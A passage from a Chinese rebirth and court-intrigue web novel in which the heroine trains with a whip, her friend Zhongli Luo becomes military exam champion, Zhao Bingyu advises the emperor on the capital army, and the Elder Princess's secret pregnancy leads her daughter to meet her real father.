罢了罢了,这是太子的命。
他的身子已经无救。伤了心脉,就看他能撑多久吧。
作为父亲,乾德帝自认做得已经足够。
想到这些,他又对西凉恨之入骨。
可西凉人比南楚人能征善战,能顶住外敌已经很费力,要想打回去,国力消耗太大,于民不利。
他才一直忍着没有主动发起战争。
他只想稳稳度过这几年。他也没几年可活了。
在有生之年,国泰民安,百姓安居乐业,就是他为君最大的成就。
朝廷决不可动荡。
霍凝玉听说书先生说完一轮,开始说第二轮时,离开了茶楼。
她一早就出门,就是想听听昨晚的消息能传成什么样,有没有自己预期的效果。
不负她所望,太子和三皇孙得了好名声。就连她也被说书先生夸得胆大心细。
刚一回到府,就看到好几辆马车停在外院。
走进正厅,果然看到好几位夫人坐在客位上。
有些认识,有些不认识。
“见过各位夫人。”霍凝玉作为小辈,主动见礼。
“哎哟,县主回来了。应该我们给县主行礼才合规矩。”一位夫人笑着起身向霍凝玉行了个礼。
正是温丞相的三儿媳。
她家一个庶女昨晚也在被掳的名单里。
“温三夫人客气。”
“昭勇县主以身作饵,救了我家孩子,这份恩情我们顾家没齿难忘。”顾二夫人笑着上前握住霍凝玉的手。
“顾二夫人不必如此,东宫世子的功劳才最大。就连他养的狗都起了很大作用。”霍凝玉谦虚道。
“我们刚才已经去东宫见过太子妃。凌哲世子是个好孩子,小小年纪就有勇有谋。你也是女中豪杰。”顾二夫人拍了拍霍凝玉的手,笑得温柔。
接着几位夫人都向霍凝玉道谢,并送上她们的一点心意。
送走各位来道谢的夫人,钟离洛就让丫鬟来叫她去练习甩鞭。
昨晚霍凝玉被劫走,钟离洛完全不知他们的计划,得知的那一刻,
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他都要急疯了。
真想立刻抓到那些歹人,一个个全都杀掉。
他是主动去找赵炳煜的,要求跟着一起去救人。
“县主,练功需得每日练习,才能有所成就,切不可三天打鱼两天晒网。”钟离洛难得严肃。
他一天就想霍凝玉成为高手的模样。
“钟离大哥,你怎么了?”霍凝玉明显看出他不对劲。
“县主,你要有自保的能力。
保护你的人不可能时时刻刻都在你的身边。
就算在你身边,也有顾及不到的时候,如果你能自保,就会多一条活路。
你一定要记住,求人不如求己,救人不如自救。”钟离洛很认真的说道。
“对不起,钟离大哥,昨晚让你担心了。”霍凝玉明白了他的意思。
昨晚她涉险,他肯定十分担心,所以今日才这么急着让她练习甩鞭,希望她有自保之力,以后遇到事,在没人可以救她的情况下,她能自救。
这份心意,她不能辜负。
拿起鞭子开始按钟离洛的要求开始练习起来。
当赵炳煜走进院子时,就看到霍凝玉无比认真地一鞭接一鞭抽在木头人身上。
每一鞭都带起一片木屑。
钟离洛在旁边如严师般指导。
“鞭子走的是灵巧刁钻的路子,专攻人防不胜防之处。”
钟离洛的声音沉稳有力,他走到霍凝玉身侧,虚点着木头人的几个位置。
“手腕、脚踝、脖颈、双眼,这些地方,即便只是被鞭梢扫中,也足以让敌人瞬间失去战力。”
霍凝玉凝神静气,手腕一抖,长鞭如毒蛇吐信,啪的一声脆响,精准地抽在木头人的手腕关节处,带起一片细碎的木屑。
赵炳煜站在院门口,并未立即出声打扰。
而是把眼神定在钟离洛身上。
此时他没看出钟离洛眼里对霍凝玉有别的心思,说出的话只有严格要求。
可他这么严厉地教霍凝玉甩鞭,其目的为何?
等到霍凝玉练完一套鞭法,他才走过去。
“赵大哥,你怎么这时候来了?是不是皇上又有奖赏给我?”霍凝玉想到昨晚的事,她又立了功,圣上会不会又大方一回。
“这回没有。”赵炳煜有点尴尬。
“为何?”霍凝玉不解。
第107章 本官助你一臂之力
“因为他生气了。”赵炳煜耸了耸肩。
“是不是因为没告诉他凌哲世子做铒的事?”霍凝玉一想就知道什么原因。
“没错,他是东宫唯一的子嗣,圣上不容他有半点闪失。”
“好吧,以后这种事还是少让凌哲世子参与。”霍凝玉只失望那么一瞬间。
“案子是不是审完了?是不是北魏人指使的?”霍凝玉只是去听了会儿说书的,那上歹人的具体情况并不清楚。
“不是,是准备把劫来的姑娘和孩子卖去西凉。”
“啊?我猜错了?”霍凝玉一直以为是北魏人指使的。
“钟离兄,昨晚见你动作利落,想来身子已经好得差不多了。
本官想领教一二,看看自己的武艺如何?”赵炳煜话说得漂亮,这就是在发起挑战。
“奉陪。”钟离洛一拱手,爽快应下。
钟离洛取了赵凌哲给的宝刀,寒光凌凌。
赵炳煜也抽出自己随身的长剑。
不给钟离洛反应的时间,直接一个七星连珠,闪耀着向钟离洛攻去。
钟离洛急速应对。
看得霍凝玉眼花缭乱。
两人你来我往,速度越来越快。
钟离洛的刀法大开大合,赵炳煜的剑法光怪陆离。
直战得风起云涌,霍凝玉眼睛都舍不得眨一下,生怕错过哪个精彩的瞬间。
时不时鼓掌欢呼。
“好!”
“漂亮!”
“太棒了!”
各种赞美之词,让两个在战斗中的男子越发来劲儿。
引得伺候的下人也纷纷站在廊下观看。
文人之家,哪里能见到这样的场面。
一个个都看得热血沸腾。
叫好声此起彼伏。
就连容华芝和霍鸣羡也跑来观看。
最终两人以平手结束战斗。
两人相视而笑。
赵炳煜一拱手:“多谢钟离兄手下留情。”
外行不知道,内行心里清楚。
钟离洛故意让着他,两人打个平手。
不过两人的优势不同,一个适合战场杀敌,一个适合出奇制胜。
“赵大人剑法精妙,在下远不及。经此一战,在下受益匪浅。”钟离洛实话实说。
他善用刀和枪,剑的确是他的弱项。
“你继续练你的鞭子,我与钟离兄说几句话。”赵炳煜温声向霍凝玉说道。
钟离洛怔了怔,但不知赵炳煜有什么与他说。
两人来到霍家的园子凉亭里坐下。
“赵大人,有何吩咐?”钟离洛知道他定是有事找他。
赵炳煜没有第一时间说话,而是眼神锐利地看向他。
“赵大人有话直说。”钟离洛一向光明磊落。
“钟离兄,你对霍县主有意,对吗?”赵炳煜幽幽道。
钟离洛一愣,眼神直视赵炳煜。
最终,钟离洛与之对视的眼神渐渐暗了下来。
“赵大人,我知你何意。
霍县主于我是救命恩人。
她在我眼里是天下最好的女子。
我知道自己的身份,不过是钟离家二房的庶子,目前没有半点成就,哪里配得上霍县主,就是想都是对她的亵渎。
但哪怕我人微福薄,也会尽自己的绵薄之力护她周全。如果谁要是敢欺负她,哪怕舍了在下这条贱命,也要替她出头。
我也知道你对霍县主的心意,你......好好珍惜她。”
钟离洛说得卑微,但却气势如虹。
赵炳煜为他的直爽和感恩之心所动。
是条拿得起放得下的汉子。
明明心里对凝玉有意,却知道站在什么位置,不奢求自己得不到的。
赵炳煜虽没把他那点心思放在眼里,但这样的人,值得他高看,给以最诚恳的尊重。
“你能如此想,最好,但你也不要妄自菲薄。
男儿志在四方,英雄不问出处,你自有你自己的前程。
你对今后有什么打算?”赵炳煜很欣赏这样的男子。
“在下报名参加三月的武试,如果能考上武进士,得圣上看中,自当听圣上安排。
如果没能入围,就去投军,在战场上杀出一条功名路。”钟离洛出生武将之家,自有一颗报国之心。
而且他强烈希望自己能成为南楚一员大将,才有资格保护救命恩人周全。
无权无势,拿什么来护?
他知道靠一身蛮力,只能杀些宵小之辈,在有权有势的人面前,屁都不是。
“好,就凭你这些话,本官助你一臂之力。”赵炳煜拍了拍他的肩。
此刻两人之间建立了难得的友谊和信任。
时间在不知不觉间滑到三月。
霍鸣羡参加会试,钟离洛参加武试。
这几个月来,钟离洛一直客居在霍府。
为了让他在兵法上更进一步,赵炳煜为他找来兵书。
这
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段时间,京里没有大事发生,赵炳煜空闲的时间比较多。
自霍凝玉与他交心后,时常出入霍府。
而他每次来都会找钟离洛切磋一下武艺。
短短两个多月时间,两人都进步不小。
赵炳煜从钟离洛这里得到的好处更多。
整体来讲,钟离洛的武艺比他强,魁梧汉子,力量更是比他强得多。
赵炳煜吸取了钟离洛的长处,又特意去护国寺找圆通大师指点,更是精进不少。
三月初二,会试正式开始。
春日的暖阳照在京城上空,给进京赶考的学子们增添了无限信心。
容华芝和霍凝玉一起送霍鸣羡进了考场。
贡院大门外人头串动。
礼部官员齐齐出动,巡城司的人维持秩序。
“大哥,你是最棒的,不要紧张。”霍凝玉笑容灿烂。
霍鸣羡也回以微笑:“妹妹放心,我会尽力。”
他并没有因听了妹妹前世关于他的情况而懈怠,反而更加努力。
探花不是他的目标。
自他知道状元之才就是廖含章那等,他猜测妹妹的前世,可能今年的会试被人做了手脚。
但近来京里发生的几件事,他又猜测今年的会试可能不会被人动手脚。
如林叙卿这样的人已经下去。还有好些官员也下去了,变了新人。
辰王想在短时间把那么多人都拿下,不大可能。
信心十足的霍鸣羡迈进了考场。
在入场前,看了正在执行公务的谢正阳一眼。
两人如仇人般只扫了对方一眼,就撇开了。
霍凝玉又看到了只有一面之缘的前世榜眼鲁谦昀。
一个身形憔悴但长相貌美的女子正在千叮万嘱,送他入考场。
应该就是他的夫人。
鲁谦昀依依不舍地握了握女子的手才放开,一步三回头进了考场。
那女子在他进去后,就咳得身子都弯了。
霍凝玉仔细回忆了一下。
可还是没有关于他们夫妻的信息。
她确实没有关注过他们。
今日一见,才知道,可能这鲁夫人身子不好,却又尽量不让自己的夫君知道。
后来鲁谦昀名声不显,难道就是因为失去了至亲至爱?
“见过霍夫人,昭通县主。”这时一个突兀的声音打断了霍凝玉的回忆。
收回目光,看到面前一男子正在作揖见礼。
第108章 文武会试
“你是?”容华芝不认得此人。
“在下廖含章,与县主有几面之缘。两位是来送霍大公子入考场吗?”廖含章又是自来熟地笑问道。
“正是。”容华芝见他带着考篮就知道也是要入场的考生。
“廖公子,还不快进去?”霍凝玉不太想与他多说废话。
廖含章也没多做纠缠,又作了个揖才离去。
等到他走远,霍凝玉又把目光转向鲁夫人。
她已不在原地。
正慢慢向来路走去。
一身衣服已经发旧。
春日本不太冷,但她却穿得比较厚。
忽然,鲁夫人停下脚步,身子晃了晃,手抚额头。
眼看就要往地上栽去。
“珍珠,快去扶住那位夫人。”霍凝玉急道。
她的话刚一说完,鲁夫人已经倒在了地上。
珍珠几步跑过去,把人扶住。
容华芝和霍凝玉走过来,看到人已经晕迷。
“快,扶上马车,送去医馆。”容华芝心善,见到这种事,自会伸一把手。
两个丫鬟一同把人扶进马车。
“青风,找一家好些的医馆。”霍凝玉立即吩咐。
青风驾着马车急速前进。
鲁夫人只晕了一小会儿就醒了。
看到自己在一辆马车里,身边还有几个陌生女子,且衣着华贵。
她也想起自己应该是晕迷了。
“是你们救了我吗?”鲁夫人目露感激。
“鲁夫人,你身子可还好?”霍凝玉关心问道。
“你认得我?”鲁夫人略显惊讶。
自她陪夫君来京,只认得租住小院周边两家的邻居,不曾见过这么富贵的人家。
“鲁夫人宽心,我与你夫君有过一面之缘,刚才见你送他入考场。就猜你应是他夫人。”霍凝玉温声道。
“多谢你们。”
来到一家叫济民堂的医馆。
经过望闻问切,老大夫摇头。
“夫人这是肺邪入体,而且已经耽误太久,要想痊愈,老夫这济民堂没那个能力,有些药只有太医院才有,且费用不小。”老大夫很有医德。
他看鲁夫人衣着就知道她不会有太多银钱用于治病,不然也不会拖到现在。
鲁夫人面如死灰。
她和夫君两人进京,只带了两百多两银子。
一开始,她只是风寒,为了省着点花用,她只找了游医看诊,药吃了不少,却时好时歹。
她怕传染给夫君,每晚都分开睡,且尽量不与夫君离得太近。
没想到小病拖成了重病。
“大夫,给开些药压压咳嗽吧。”鲁夫人无奈。
她怎么也要等夫君出来,她要看到夫君金榜题名。
霍凝玉见此,拉了容华芝出了医馆。
“娘,要不救救她吧。她夫君前世考了榜眼,是个有才之人。”霍凝玉低声道。
容华芝一听就明白女儿的意思。
要是救了鲁夫人,以后他们夫妻自会感激霍家,同时也为太子拉拢了一个人才。
“好。”容华芝毫不犹豫做出决定。
像江宁母女那样的人毕竟少,不可能每次救人都遇到白眼狼。
母女俩进去,大夫已经开好药方。
“鲁夫人,你这身子,只用些止咳的药,根本不能治病,要不去我家,我给你请太医看诊。”容华芝劝道。
“多谢夫人,可是我没有多少银钱。”鲁夫人羞涩地低下头。
一文钱也会难倒英雄汉。
“没事,先治好病。就当我借给你的,以后等你有钱了再还我就是。”容华芝很爽朗。
“不知夫人是哪家的?”鲁夫人升起希望。
她怕再也见不到夫君和家里的孩子。
他们离开家已经好几个月,两个孩子是她最大的牵挂。
容华芝报了身份。
鲁夫人当即跪地叩头。
“民女蒋文晴拜见霍夫人,昭通县主。夫**恩,没齿难忘,以后定结草衔环报答。”
这些日子,她为了不让夫君分心,一个人承受着病痛,终于把人送进考场,她才完全放松下来。
结果就晕倒在路上。
要是夫君考完试出来,再也见不到她,该有多难过。
夫妻十几年,感情甚笃,她舍不得死。
带着病人匆匆回府,容华芝拿了女儿的印鉴请来吴太医。
太医一般只为皇家人看诊,或者皇上派去给一些大臣看诊。
现在霍凝玉被封为县主,也算半个皇家人。
吴太医来了得知是给一个举
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人的妻子看诊,没有多说什么,能得霍家人如此对待,估计有什么关系。
经过几天的诊治,鲁夫人的病情得到控制。
钟离洛参加的是武试,不用在考场待几天。
第一场:考骑射。
第二场:考步射,马上枪、刀、剑,力。
第三场:文化笔试,考兵法策论。
当日下午就回来了。
“钟离大哥,考得怎么样?”霍凝玉一见到人,迫不及待问结果。
“今年一共只有一百零几人报名,只一日就考完了。名次三天后才公布。”还没出结果,钟离洛不敢妄猜。
毕竟不是擂台赛,当时就知道结果。
但他脸上的笑容充满自信。
果然,霍鸣羡还在考场奋斗,钟离洛的武试名次已经出来。
三月初五。
钟离洛带着霍凝玉去兵部看榜。
兵部尚书明致臻亲自出来放榜。
武试只取前十名。
当一声锣响传来,兵部衙门打开。
一百多个武举人立刻让开。
霍凝玉坐在马车里,远远看着。
明致臻打开一卷黄薄。
高声念出每一个中榜的名字。
他为了烘托气氛,按名次的先后倒着念。
霍凝玉也紧张听着兵部尚书高亢的声音。
之前赵炳煜说,担心敌国使坏,故意杀武举人,特意向皇上提出,派人去各州接应进京的武举人。
她虽知道前世是钟离洛考了武状元,那是在辰王府里养了几个月后的结果。
而这一世是在霍府养了几个月。
霍府可没有武学陪练陪他精进。
也就赵炳煜找他比试过,不知道能力还是不是如前世。
随着一个个名字慢慢报出。
被念到名字的人高兴得手舞足蹈,接受身边人的祝贺。
虽然没有文进士那般受人瞩目,但以后怎么也有个官身。
前三名会直接授予将军之衔,后面七名也会放到军中担任小将,至少是七品官职。
当第九个名字念完也没有听到钟离洛的名字,霍凝玉更加紧张。
万一她的重生改变了钟离洛的状元名次,可就罪过了。
就在她心神不宁之际,明致臻报出了最后一个名字。
第109章 圣上的安排
“第一名,京畿昌林县钟离洛。”
“太好了。”霍凝玉激动得直拍手。
她的重生没有影响钟离大哥的名次。
“前三名,随本官进宫见圣上。其他人回家等批职文书。”明致臻大手一挥,朗声宣布。
钟离洛匆匆跑过来,向霍凝玉深深鞠躬。
“洛谢昭勇县主再造之恩。”
“钟离大哥,别这样。”霍凝玉没想到他这么郑重,有些不好意思。
她是带着目的救人,对此她心里是有愧的。
“快去吧,别让尚书大人等着。回家再替你庆贺。”霍凝玉又道。
听到“回家”两个字,钟离洛心里一暖。
霍家已成他第二个家了。
钟离洛随明致臻进宫见驾。
前三甲,都是年富力强,身材高大的壮汉。
乾德帝见了很高兴。
文能治国,武能安邦。
他为君多年,文武他都重视,不偏不倚。
两者相辅相成方能保南楚安宁和繁荣。
南楚地处南方,物产丰富,相邻的东临国与南楚也不相上下。
然,就是因物产丰富,两国常受西凉和北魏侵扰。
而那两国又兵强马壮,是南楚和东临没法比的。
两国为了抵御外敌,才结为联盟。
在军事上,乾德帝从不敢马虎。
“皇上,今年武比,参考者虽少,但人才济济,前三甲都出自己将门之家,我南楚又多了几员猛将。”明致臻作为兵部尚书,能挑到这样的人才,也很高兴。
“嗯,第一名,钟离洛,你大伯是钟离宏?”乾德帝点头赞许。
“回皇上,正是。”钟离洛大大方方回话,没有第一次见君的紧张和怯意。
“钟离宏也是一员老将,朕记得他已经五十了吧,还在为南楚守着边疆。
朕封你为游击将军,先安排在京畿营锻炼两年,再接下你大伯的担子。”乾德帝对他寄予厚望。
“谢皇上恩典,臣定不负圣恩。”钟离洛非常满意,重重行了一礼,接下大总管递来的印鉴。
他也有一官半职了,而且还是从五品军衔。
“第二名,秦苍焕,二十五岁,不错。
你们秦家的武学不错。秦老将军当年也是一员猛将。
你大堂哥秦苍霆在边关守了十几年,既然他已经回来,就让他在家好好孝顺一下秦老将军。
你就直接去边关历练吧,先从校尉做起。希望你也能如你大伯和大堂哥一样,为朕镇守一方。”乾德帝想到秦苍霆,心里五味杂陈。
“谢皇上厚爱。”秦苍焕也恭敬一礼。
他是秦家二房嫡次子,兄弟中武学最好的。
本可不用考武举,直接去边关入军,但他想有所建树,也想在皇上面前挂个名,才报了名。
“第三名,赵玉麟,还是我赵氏子弟,不错不错。
你虽与朕已出了五服,但算起你该叫朕一声叔父。
既然你是我赵家子孙,就入禁卫军吧,也从校尉做起,护皇城安全。”
乾德帝很高兴宗室里也有这么上进的孩子。
“臣领旨谢恩。”赵玉麟心里一喜。
他们这些离皇上这一脉比较远的宗亲,前程都需自己挣,能得皇上看重,安排进禁卫军,是对他的照顾。
“明爱卿,那些落榜的,也不能放弃,你传朕口谕,如果愿意从军的,可以入京畿营,各凭本事,朕给他们机会为国效力。”乾德帝不放过任何人才。
“臣领旨。”明致臻正想如此建议,圣上就下了旨。
“秦苍霆从边关回来,朕估计北魏很可能会在秋季向我南楚边境出兵。你最好提前准备好粮草。”乾德帝已经有所预料。
可秦苍霆已经多年未回,秦老将军身子确实不好,随时都有走的可能。
众人离去,赵炳煜就进了御书房。
在与钟离洛错身而过时,两人都几不可察地向对方点了点头。
“臣见过皇上。”
“嗯,一起用午膳吧。林德全,传膳。”乾德帝对赵炳煜很宽厚。
几个儿子都不敢与他这么亲近。
赵炳煜进御书房,大多时候都不用通报,直接就进来。
当然,他也是看情况。
一般先问清楚御书房都有谁,就知道可不可以进了。
午膳一道道上桌。
赵炳煜拿起筷子,先吃。
这是在替皇帝试菜。
吃了,没问题,他就主动给乾德帝夹两筷子。
“钟离洛果然如你所说,考了武状元。你怎么猜得那么准?难道又是霍家那丫头做梦梦见的?”乾德帝边吃边聊。
“臣最近几个月,一有空就去霍家找他请教。他的武艺如何,臣比较清楚。”赵炳煜并没有把此事归为霍凝玉做梦。
他不希望霍凝玉的能
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力被过于夸大。
“你向朕建议把钟离洛放到京畿营,为何?”乾德帝虽本就有此意,但赵炳煜提前就求了此事,他想知道他是怎么想的。
“皇上,臣知道您掌管朝局已经很辛苦,臣就想您能轻松些。有些事,臣想多为你分担,但臣也只是一个人,有时不可能顾得了方方面面。
而钟离洛与臣接触几个月,发现他作为武将家的子弟,一心只忠君爱国,心志赤诚,可重用。
他比他大伯家的两个儿子都优秀,才引得他的大伯母嫉妒,想除掉他。
为此您差点失去这么一个武将人才。
他遭遇生死大劫,也没想过要报复他的大伯母,还一心只想着如何成为一方大将,为百姓守护南楚。
而京畿营作为我南楚的常备军,最是需要这样的将才。
北魏和西凉要是再来犯,可让他带兵出征,定能马到成功。同时,臣还有另一层考量。”
赵炳煜顿住,吃了一口菜。
“什么考量?”
“京畿营二十万大军,京里几大势力都在军中占有要职,就连忠义伯都领有五千军,而他的儿子娶了大公主的义女。
大公主与秦家的关系,臣不说,您也知晓。
秦苍霆去年回京,其实是辰王使的力,这点臣知道您已经想明白,辰王已经向秦家伸手。
再说于家,霁王的大舅舅于玄铮在除夕宴上被下了禁军统领一职,他二舅舅于玄铭在京畿营中就成了他们的主要支柱,最近也升了一级,统军两万人。
其他人,臣也就不说了,辰王和霁王都向哪些人伸手,臣还在暗查。
这种时候,放一个您放心,又有能力的人进京畿营,在关键时间,或许可以起到重要作用。”
赵炳煜解释得清清楚楚,没有任何私心,一切都是为乾德帝考虑。
目的也很明显,军队被各皇子渗透,这是挡不住的事实。
想要阻止,难。
那就放些没有二心的人进去。
“你说得对。哎,朕老了,都在盼着朕早日死呢。”
“请皇上慎言。”赵炳煜最不喜听乾德帝说死的话。
“你随时留意着钟离洛,表现出色,朕再给他升级。希望他不负朕之所望。”
“臣定会多注意。另外,臣今日又得了一个消息,希望您听了,不要生气。”赵炳煜说起刚得到的一个消息。
第110章 大公主有孕
“什么消息?”乾德帝放下筷子,深吸了一口气。
要他不生气,必是不好的消息。
“大公主她......”赵炳煜又顿住。
“是不是又和秦苍霆搅和在一起?”乾德帝淡定地问。
他对长女有愧,元后所出,可元后早早就去了,留下嫡长女给他,是他孩子中真正嫡出的。
可她不是皇子,要是个皇子,太子之位定是她的。
可命运弄人,一个公主,身份又比其他公主尊贵,只能委屈她嫁给王家不成器的公子,以防她生出野心。
“她......怀孕了,已经三个月。”赵炳煜还是说出了口。
乾德帝向后仰了仰,长长叹了一口气。
“是不是秦苍霆的?”
“应该是。”赵炳煜不好肯定说是。
但意思和肯定没什么区别。
“哎,罢了,随她去吧。朕管不了。那孩子一根筋,认准了就不改,和你父王一样。
我赵家出情种,本是好事,却最终害了自己。等朕走了,让下一个君王放他们自由吧。”
乾德帝既无奈,又心疼。
可他是君,有些事又不得不违心去做。
秦家几代武将,要是尚了最尊贵的嫡公主,生出不该有的野心,引起朝堂动荡,受苦的还是百姓。
这种话,赵炳煜只能听听,出了这个门,他什么都不会记得。
同一时间,大公主府。
慧兰县主正歇斯底里地发脾气。
“母亲,为什么?你为什么要让我没脸见人?”当她在门外偷偷听到母亲和苏嬷嬷的对话时,简直不敢相信自己的耳朵。
母亲居然怀孕了,而且还是什么秦将军的。
有人传她不是父亲的女儿,而是母亲与守边的秦苍霆的女儿。
她从来没信过,一定是有人故意传母亲的闲话。
她知道母亲在嫁人前与秦苍霆有过一段私情,可那人都离京十几年,她从不相信自己是母亲不检点生下的孩子。
可现实推翻了她自懂事以来的自欺欺负人。
“慧兰......”赵明月看到闯进来的女儿,不知如何开口。
这么多年,她一直不曾告诉女儿,她的父亲是谁。
虽然外面有传言,但哪个有胆在她女儿面前嚼舌根。
就算孩子听到一些传言也不会信。
可现在女儿直接听到了她与苏嬷嬷的谈话。
“母亲,告诉我,我是不是父亲的孩子?你肚子里的孩子是不是父亲的?”慧兰县主流着眼泪愤怒吼道。
“县主,你不知道公主心里有多苦,她是当今最尊贵的嫡公主,却不能嫁给自己喜欢的人。
先皇后又去得早,小小年纪就没了母后。
她只想求个一心人,有人疼有人爱。
可就这点小小的要求,都不能实现。”苏嬷嬷为主子悲哀。
而苏嬷嬷的话证实了她刚才听到的都是真的。
“为什么要生下我?我就是个私生女,现在你还要再生一个出来,与我一样让人耻笑。”
慧兰县主哪里能体会母亲的悲伤。
“慧兰,是娘对不起你,娘没能嫁给自己心爱的人,娘就想生一个心爱之人的孩子陪伴身侧。
慧兰,当你对一个男人动了心生了情,你就能体会娘的心情。”赵明月看到女儿这般激动,想用情来安抚她。
“可是,你有没有替我想过?你让我如何见人?我竟然是个私生女?难怪十六岁了,也定不下亲事。原来人人都知道我的出身。”
“你是我赵明月的女儿,身份尊贵,哪个敢说你是私子生女,娘定会打杀了他。”赵明月也不知道如何安慰女儿,说得语无伦次。
说着说着,眼泪止不住地滚落下来。
她抗争过,努力过,可是顶不过皇权的压力。
“娘......”慧兰县主已经冷静下来,看到母亲如此伤心,她再也说不出伤人的话来。
自她懂事起,早就听人闲话她不是父亲亲生的。
但她从没相信过。
如今不过是得到证实,从不相信到相信。
“娘,你不能嫁给心爱的人,女儿不是公主,是不是就可以嫁给心爱的男人?”
她已经十六岁,她也憧憬以后所嫁的男人与她情投意合。
此刻她想到了霍鸣羡。
“我儿是金枝玉叶,你看上哪个男儿,娘定让你嫁给他。”赵明月保证。
“好,我要嫁给赵鸣羡。”慧兰县主直截了当说出自己的想法。
她虽没达到情根深种的地步,但在众多男子中,就他最合她心意。
“娘本就看好他,等殿试过后,娘就找媒人去霍家提亲。“赵明月一口应下。
“娘,既然你与父亲并没有感情,为何不和离?”慧兰县主已经接受现实。
她远远见过秦苍霆几次,英武不凡,王驸马与他完全不能比。
如果让她做选择,她当然更喜欢
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英武的秦苍霆做爹。
王驸马不过是王家没出息的纨绔子。
母亲也从来不管他,两人貌合神离这么多年,各过各的日子。
“慧兰,娘时刻都想着和离,可有你外祖父在,娘就算和离也不能嫁入秦家。这就是身为公主的无奈。”赵明月好恨自己是嫡公主。
就因前朝历史上有公主曾想篡位,导致后朝都不敢把公主嫁入有实权的门第。
“外祖父可知道您心里的苦?”慧兰县主想到乾德帝。
每次见到她都表现出很疼爱她的样子。
怎么也想不出他是那么狠心的人,非要把母亲嫁给王驸马。
“慧兰啊,我当时寻死觅活要嫁入秦家,御史台的**折子就堆满了你外祖父的御案。
朝堂上又有大臣的死谏。你外祖父也不能随心所欲。
他为了分开我与秦苍霆,要将我送去东临和亲,又把你亲生父亲派去守边,无召不得回京。
我为了等那一线希望,怎么也不同意去和亲。我只得答应你外祖父的安排。
这么多年过去,我本已心死。
然,你大舅舅却想了个办法让他回来了。我冷了多年的心才死灰复燃。”
听着母亲的叙述,慧兰县主对赵明月再也恨不起来。
母亲也是爱而不得,苦了这么多年。
“娘,他是怎么想的?难道你们打算就这样一辈子吗?”慧兰县主想回到亲生父亲身边。
谁也不愿意做一辈子私生女。
“这是大人的事,你就不要操心了。”赵明月不可能告诉孩子太多大人的事。
母女俩又聊了好一会儿。
赵明月安抚好了女儿,才说起肚子里孩子的事。
她一直瞒着,直到胎坐稳才故意不经意把消息泄露出去。
她就是要让父皇知道。
她一直在等,等父皇的态度。
果然如她所料,宫里送来了赏赐。
“咱家恭贺公主殿下,皇上口谕,请大公主好生养着身子,以后没事就不要进宫请安了,也不要随便出府,以防伤了肚中孩儿。
皇后娘娘也让咱家带话,您年纪不小,皇后娘娘会为您选好接生的嬷嬷,送到府上。”
大总管林德全亲自送来皇上皇后赏赐。
赵明月就知道父皇并没有怪罪她。
可她想要与秦苍霆在一起,却是万不可能。
当日,慧兰县主出了公主府,等在秦苍霆回府的必经之路上。
第111章 梦里的命运
她要见他。
秦家世代武将,为保南楚安宁牺牲了不少秦家男儿。
乾德帝不会因为女儿的事而寒臣子的心。
秦苍霆回京三个多月,也没让他闲着。
乾德帝让他有空就去京畿营里帮着训练新兵。
慧兰县主一看到远远奔来的马,故意往马路中间一站。
秦苍霆马术惊人,眼看就要撞到人,用力一勒缰绳,马骤然停下,发出一声高亢的嘶鸣。
前蹄一落地,秦苍霆动作利落,翻身下马。
四目相对。
秦苍霆看着眼前长得与自己有几分相似的姑娘,心里的情愫汹涌而起。
这是他的女儿,可,十六年了,他一句话都没与她说过。
更谈不上疼爱她,尽一个父亲的责任。
“我有话与你说。”慧兰县主冷冷地丢下这句,转身就进了旁边的茶楼。
秦苍霆把马丢给随行小厮,进了茶楼。
到了雅间,父女二人谁也没有说话。
久久凝视对方。
“你是个懦夫。”还是慧兰县主先开了口,且是吼出来的,眼泪瞬间就滚出了眼眶。
“兰......兰儿!”秦苍霆堂堂七尺男儿,听到女儿的第一句话竟是骂他懦夫。
但他并没有恼,而是欣慰地轻轻唤女儿的名字。
这个名字在他舌尖不知萦绕过多少遍。
从第一次收到赵明月给他的信那天起,他就念了无数遍。
看到女儿的眼泪,他手心如被一剑刺穿。
“爹!呜呜.......”慧兰县主直接扑进他怀里。
这是她亲爹。
这么多年,府里的那个,她一直叫父亲,从没叫过他爹。
那个父亲只做到表面的礼节,从没真正疼爱过她。
如今才知道,那当真不是她爹,难怪没有别人家父亲对孩子的那份发自真心的疼爱。
秦苍霆身子僵住,双手不知往哪里放。
她都知道了!?
慧兰县主哭得撕心裂肺。
秦苍霆放下抬起的胳膊,拥紧了自己的女儿。
“兰儿,是爹不好,让你受苦了。”
“爹......你好狠的心,一走就是十几年,让我受人嘲笑了十几年。”
父女相认,他们谈了些什么,无人知道。
但自这日之后,慧兰县主每隔几日就会与秦苍霆见一面。
乾德帝睁一只眼闭一只眼。
霍凝玉回到家把钟离洛得了武状元的事向母亲一说,容华芝立即就吩咐厨房好好整一顿好吃的,今晚要给钟离洛庆贺。
只是钟离洛还没回来,青风就带给了霍凝玉一个大消息。
大公主怀孕了。
霍凝玉只是怔了怔。
她的重生,连大公主的命运也因她而改变了。
前世大公主可没有怀孕。
不用想都知道那孩子是谁的。
要是生出来是个儿子,秦苍霆会如何选择呢?
还会投向辰王阵营,拥他为君吗?
历朝的嫡公主从来没有哪一个嫁给拥有实权的武将。
要是秦家不甘为臣,利用大公主成事,那就热闹了。
不过这些也不是她要考虑的。
当日,钟离洛去兵部办好了文书,去了一趟北城京畿营。
京畿营二十万大军,分别由两位将军统领。
主要驻扎在北城和西城门外。
东城,南城外也有少量。
钟离洛被分到北城营,报到后,领了一套军服和铠甲。
当他一身戎装出现在霍凝玉面前时,让她眼前一亮。
“钟离大哥,你这一换了着装,整个人的精气神都变了。让我都快认不出来了。”
钟离洛只是站得笔直,傻笑。
“钟离大哥,以后你就是将军了,上战场是迟早的事,你一定要少受些伤。”
想到多少将军战死沙场,霍凝玉就有些伤感。
钟离洛在霍家住了几个月,霍凝玉已经把他当自家人看待。
“放心,我不会死。”
他要一步步奋斗到大将军的位置,然后回京护她。
现在不过是个从五品的游击将军,离大将军的头衔还远得很。
这一晚,霍鹏程和霍鸣昶陪钟离洛喝的酩酊大醉。
钟离洛等不到霍鸣羡从考场出来就收拾东西去了军营。
三月初十,会试结束。
霍凝玉又与容华芝一起去接霍鸣羡。
当接到人时,进去时的意气风发,变成了霜打的茄子。
双眼通红,头发散乱,衣服脏污,走路如飘。
有些考生,还是被官差架出来的。
有些刚一出考场就直接摊在地上,家人抬上马车。
“大哥,累了吧,快上车,家里已经给你准备好了洗澡水。”霍凝玉跑上前几步,扶着一摇一晃的大哥。
“我就想睡觉。”霍鸣羡一上车就躺下不想动了。
这几日,思想高度紧绷,他想考出自己最好的成绩。
当考卷收走的那一刻,整个人才大松一口气,身体完全放
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松,疲累之感瞬间袭来。
霍凝玉在放车帘时看到了鲁夫人也接到了鲁谦昀。
